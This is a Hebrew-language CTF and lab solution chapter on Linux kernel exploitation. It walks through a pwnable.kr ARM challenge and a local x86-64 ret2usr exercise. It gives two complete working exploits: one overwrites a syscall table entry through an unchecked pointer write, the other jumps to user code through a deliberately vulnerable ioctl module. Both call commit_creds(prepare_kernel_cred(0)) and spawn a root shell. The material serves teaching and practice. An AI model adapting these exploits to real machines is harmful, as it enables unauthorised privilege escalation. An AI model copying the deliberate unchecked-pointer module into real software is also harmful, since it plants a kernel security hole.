לדלג לתוכן

9.2 syscall מותאם וret2usr פתרון

פתרון - exploit syscall מותאם וret2usr

נעבור על התרגילים לפי הסדר, נבנה את ההבנה שלב אחר שלב, ובסוף נראה שני exploits עובדים: אחד לאתגר ARM של pwnable.kr, ואחד לאימון ret2usr מקומי על x86-64 שאתם יכולים להריץ בעצמכם. הכתובות בקוד הן לדוגמה; על מכונה אמיתית מחליפים אותן בערכים שמוציאים מ-/proc/kallsyms.

פתרון תרגיל 1 - הקריאה המותאמת

הקריאה שהוסיפו לkernel היא sys_upper, במספר 223. היא מקבלת שני מצביעים:

  • הפרמטר in - מצביע למחרוזת קלט (מרחב המשתמש).
  • הפרמטר out - מצביע לbuffer פלט שאליו הkernel כותב את התוצאה.

הלוגיקה: עוברים בית-בית על in, וכל אות קטנה (a-z, כלומר 0x61-0x7a) הופכת לאות גדולה על ידי חיסור 0x20, כל שאר הבתים מועתקים כמו שהם אל out:

asmlinkage long sys_upper(char *in, char *out) {
    int len = strlen(in);
    int i;
    for (i = 0; i < len; i++) {
        if (in[i] >= 0x61 && in[i] <= 0x7a)
            out[i] = in[i] - 0x20;
        else
            out[i] = in[i];
    }
    return 0;
}

הנקודה שצריך לשים לב אליה: הkernel כותב אל out[i] בלי לשאול שאלות מי זה out.

פתרון תרגיל 2 - הבאג

הבאג הוא היעדר בדיקת שפיות על המצביעים. קוד kernel תקין לעולם לא מפענח מצביע מהמשתמש ישירות; הוא מוודא עם access_ok שהמצביע בטווח המשתמש, ומעתיק עם copy_from_user/copy_to_user. כאן אין אף אחד מאלה. הkernel מבצע out[i] = ... על מצביע גולמי מהמשתמש.

המשמעות: אם ניתן ל-out כתובת בתוך מרחב הkernel, הkernel (שרץ ב-ring 0) יכתוב לשם בשמחה. קיבלנו פרימיטיב כתיבה שרירותי לזיכרון הkernel - write-what-where. אנחנו שולטים ב"לאן" דרך out, וב"מה" דרך in. האילוץ היחיד נובע מהלוגיקה: אותיות קטנות מתעוותות, ובית אפס עוצר את ה-strlen.

למה זה עבד: כל חולשת kernel exploit מתחילה בזיהוי הפרימיטיב. ברגע שראינו כתיבה גולמית למצביע מהמשתמש בהקשר ring 0, ידענו שיש לנו כתיבה לkernel, וזה כל מה שצריך.

פתרון תרגיל 3 - כתובות הסמלים

על המכונה המורצת שולפים את הכתובות מ-kallsyms:

$ cat /proc/sys/kernel/kptr_restrict
0
$ cat /proc/kallsyms | grep -E ' commit_creds| prepare_kernel_cred| sys_call_table'
8003f0b8 T commit_creds
8003f2ec T prepare_kernel_cred
8027f9c8 R sys_call_table

שלוש הכתובות שנצטרך: commit_creds, prepare_kernel_cred (לנוסחת ה-root), ו-sys_call_table (היעד שנדרוס). שימו לב שהן במרחב הkernel (מתחילות ב-0x80...), בעוד שהכתובות שלנו במרחב המשתמש נמוכות בהרבה. ההפרדה הזו היא בדיוק מה שנצטרך לגשר עליו עם ret2usr.

למה זה עבד: kptr_restrict=0 חושף כתובות kernel אמיתיות לכל תהליך. בkernel מודרני זה כבוי כברירת מחדל, וזה מה שהופך את האתגר הישן הזה לפשוט יחסית.

פתרון תרגיל 4 - אילוץ הכתיבה

אנחנו רוצים לכתוב את כתובת getroot (פונקציה שלנו במרחב המשתמש) אל sys_call_table[223]. הבעיה: sys_upper מעוותת ועוצרת. שלושת סוגי הבתים הבעייתיים בכתובת שנכתוב:

  • בית אפס (0x00) - עוצר את ה-strlen, אז לא ייכתבו הבתים שאחריו.
  • בית בטווח 0x61-0x7a - יעבור המרה ל"אות גדולה" (חיסור 0x20), כלומר ייכתב ערך שגוי.

כתובות רגילות של קוד ב-ARM נמצאות סביב 0x0000_8xxx, כלומר יש בהן שני בתי אפס עליונים - בדיוק מה שאסור. הפתרון: ממקמים את getroot בכתובת "נקייה" שכל ארבעת הבתים שלה שונים מאפס ומחוץ לטווח האותיות. למשל 0x11223344 (בתים 44 33 22 11 - כולם בטוחים). את זה משיגים עם mmap(MAP_FIXED) שמאלץ מיפוי בכתובת שאנחנו בוחרים, ומעתיקים לשם את קוד getroot.

למה זה עבד: כל פרימיטיב כתיבה מוגבל (כאן: ללא אפס וללא אותיות קטנות) נפתר על ידי שליטה בערך שאנחנו כותבים. במקום להיאבק בכתובת שה-linker נתן, אנחנו בוחרים כתובת חדשה בעצמנו עם mmap.

פתרון תרגילים 5 ו-6 - ה-exploit המלא ל-ARM

מחברים הכל. קומפילציה עם הקומפיילר הצולב שסופק, בדגל -marm (כדי ש-getroot יהיה בקוד ARM ולא Thumb):

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>

#define __NR_upper 223

/* addresses from /proc/kallsyms - replace with the real values from the machine */
unsigned long commit_creds        = 0x8003f0b8;
unsigned long prepare_kernel_cred = 0x8003f2ec;
unsigned long sys_call_table      = 0x8027f9c8;

/* runs in kernel context after we overwrite the entry in the table */
void getroot(void) {
    ((void (*)(void *))commit_creds)(
        ((void *(*)(void *))prepare_kernel_cred)(0));
}

int main(void)
{
    /* 1. clean address: all bytes nonzero and outside the 0x61-0x7a range */
    unsigned long clean = 0x11223344;              /* bytes: 44 33 22 11 */
    unsigned long page  = clean & ~0xfffUL;        /* page base: 0x11223000 */

    void *m = mmap((void *)page, 0x1000,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (m == MAP_FAILED) { perror("mmap"); return 1; }

    /* copy getroot's code to the clean address */
    memcpy((void *)clean, (void *)getroot, 0x100);

    /* 2. trigger the bug: write clean to sys_call_table[223] */
    unsigned char in[5];
    in[0] = (clean      ) & 0xff;   /* 0x44 */
    in[1] = (clean >>  8) & 0xff;   /* 0x33 */
    in[2] = (clean >> 16) & 0xff;   /* 0x22 */
    in[3] = (clean >> 24) & 0xff;   /* 0x11 */
    in[4] = 0;                      /* ends after 4 bytes, no zero in the middle */

    unsigned long target = sys_call_table + 223 * sizeof(void *);
    syscall(__NR_upper, in, target);   /* the kernel writes clean to the table */

    /* 3. call syscall 223 again - this time getroot runs at ring 0 */
    syscall(__NR_upper, 0, 0);

    /* 4. we returned cleanly through the syscall exit path. check and spawn a shell */
    if (getuid() == 0) {
        printf("[+] uid=0, we are root!\n");
        system("/bin/sh");
    } else {
        printf("[-] failed, uid=%d\n", getuid());
    }
    return 0;
}

מריצים על מכונת ה-qemu של האתגר, ומקבלים shell של root שקורא את הדגל.

הזרימה במילים: הקריאה הראשונה syscall(223, in, target) משתמשת ב-sys_upper vulnerable כדי לכתוב את הכתובת הנקייה 0x11223344 (שבה יושב עותק של getroot) לתוך sys_call_table[223]. הבתים 44 33 22 11 אינם אפס ואינם אותיות קטנות, אז הם נכתבים ללא עיוות. הקריאה השנייה syscall(223, 0, 0) פונה שוב לכניסה 223, אבל עכשיו היא כבר לא מצביעה על sys_upper אלא על ה-getroot שלנו, שרץ ב-ring 0 ומריץ את commit_creds(prepare_kernel_cred(0)). כשהוא חוזר, מנגנון יציאת ה-syscall מחזיר אותנו נקי למרחב המשתמש, שם getuid() כבר מחזיר 0.

הערה חשובה על ההעתקה: העתקת קוד פונקציה מקומפל היא נקודה עדינה בגלל טבלת הליטרלים של ARM (הכתובות שהפונקציה טוענת) והביט של מצב Thumb. לכן מקמפלים עם -marm, מעתיקים בלוק גדול מספיק שכולל את טבלת הליטרלים, ומוודאים שהכתובת שכותבים היא של קוד ARM. אם אתם נתקלים בקריסה בקריאה השנייה, זה כמעט תמיד סימן שהכתובת בטבלה שגויה - בדקו שוב את עיוות האותיות ואת בתי האפס.

למה זה עבד ואיך להכליל: זיהינו פרימיטיב כתיבה לkernel, המרנו אותו לחטיפת זרימת בקרה (דריסת כניסה בטבלת הקריאות), והפנינו את הזרימה לקוד שלנו במרחב המשתמש (ret2usr). התבנית הזו חוזרת בכל kernel exploit: פרימיטיב -> חטיפת זרימה -> commit_creds(prepare_kernel_cred(0)) -> חזרה נקייה. דריסת כניסה בטבלת הקריאות נתנה לנו חזרה נקייה בחינם, בלי לגעת ב-iretq.

פתרון תרגיל 7 - ret2usr מקומי על x86-64

כדי לתרגל את אותו רעיון בסביבה מודרנית ונשלטת, נבנה מודול kernel vulnerable קטן ונתקוף אותו. המודול חושף התקן /dev/vuln עם ioctl שמקבל מצביע פונקציה מהמשתמש וקורא לו בהקשר kernel - בדיוק כמו הקריאה המותאמת חסרת הבדיקה:

/* vuln.c - vulnerable module for training only */
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>

static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
    void (*fn)(void) = (void (*)(void))arg;  /* raw pointer from the user - the bug */
    fn();                                    /* jump in kernel context */
    return 0;
}

static const struct file_operations vuln_fops = {
    .owner = THIS_MODULE,
    .unlocked_ioctl = vuln_ioctl,
};

static struct miscdevice vuln_dev = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "vuln",
    .fops  = &vuln_fops,
};

static int __init vuln_init(void) { return misc_register(&vuln_dev); }
static void __exit vuln_exit(void) { misc_deregister(&vuln_dev); }
module_init(vuln_init);
module_exit(vuln_exit);
MODULE_LICENSE("GPL");

מריצים את הkernel תחת qemu עם ההגנות כבויות (זו סביבת אימון):

qemu-system-x86_64 ... -append "console=ttyS0 nokaslr nosmep nosmap"

ועכשיו ה-exploit במרחב המשתמש. שומרים את מצב המשתמש בהתחלה, קופצים ל-privesc דרך ה-ioctl, מריצים את נוסחת ה-root, וחוזרים נקי עם iretq:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>

unsigned long commit_creds, prepare_kernel_cred;
unsigned long user_cs, user_ss, user_rflags, user_rsp;

/* save user state so we can return to it after running in the kernel */
static void save_state(void)
{
    __asm__ volatile(
        "movq %%cs,  %0\n"
        "movq %%ss,  %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :: "memory");
}

/* runs after returning to userspace */
void get_shell(void) { system("/bin/sh"); }

/* runs in kernel context via the ioctl */
void privesc(void)
{
    ((void (*)(void *))commit_creds)(
        ((void *(*)(void *))prepare_kernel_cred)(0));

    __asm__ volatile(
        "swapgs\n"
        "pushq %0\n"     /* ss */
        "pushq %1\n"     /* rsp */
        "pushq %2\n"     /* rflags */
        "pushq %3\n"     /* cs */
        "pushq %4\n"     /* rip -> get_shell */
        "iretq\n"
        :: "r"(user_ss), "r"(user_rsp), "r"(user_rflags),
           "r"(user_cs), "r"((unsigned long)get_shell)
        : "memory");
}

/* load the addresses from /proc/kallsyms */
static void load_syms(void)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char line[256], name[128], type;
    unsigned long addr;
    while (fgets(line, sizeof(line), f)) {
        sscanf(line, "%lx %c %127s", &addr, &type, name);
        if (!strcmp(name, "commit_creds"))        commit_creds = addr;
        if (!strcmp(name, "prepare_kernel_cred"))  prepare_kernel_cred = addr;
    }
    fclose(f);
}

int main(void)
{
    save_state();
    load_syms();
    printf("[*] commit_creds=%lx prepare_kernel_cred=%lx\n",
           commit_creds, prepare_kernel_cred);

    int fd = open("/dev/vuln", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    ioctl(fd, 0, (unsigned long)privesc);   /* the kernel jumps to privesc */

    /* if we got here via iretq -> get_shell already ran; just in case: */
    if (getuid() == 0) system("/bin/sh");
    return 0;
}

מקמפלים סטטית: gcc -O0 -static -o exploit exploit.c, מעלים למכונת ה-qemu, ומריצים. הזרימה: ioctl -> הkernel קורא ל-privesc (שנמצא בזיכרון המשתמש, מותר כי SMEP כבוי) -> commit_creds(prepare_kernel_cred(0)) מדביק לנו creds של root -> swapgs; iretq מחזירים אותנו נקי ל-get_shell -> shell של root.

הערה על גרסאות: בkernels מסוימים (6.2 ומעלה) הפרמטר של prepare_kernel_cred השתנה, ו-prepare_kernel_cred(0) כבר לא מחזיר בהכרח root; שם משתמשים ב-&init_task או בטריק אחר. בסביבת אימון עם kernel מוקדם יותר, prepare_kernel_cred(0) עובד כמצופה.

למה זה עבד ואיך להכליל: זהו בדיוק ret2usr, רק שהחזרה הנקייה נעשית ידנית עם swapgs; iretq במקום דרך יציאת syscall, כי כאן חטפנו קריאת פונקציה שרירותית ולא כניסה בטבלת הקריאות. ההבדל מ-ARM הוא רק במנגנון החזרה ובכך שכאן היינו צריכים לכבות מפורשות את SMEP/SMAP/KASLR. אם ההגנות דלוקות, ret2usr נשבר, ואז עוברים לטכניקות של הפרק הבא (למשל ROP בתוך הkernel עצמו כדי לעקוף SMEP).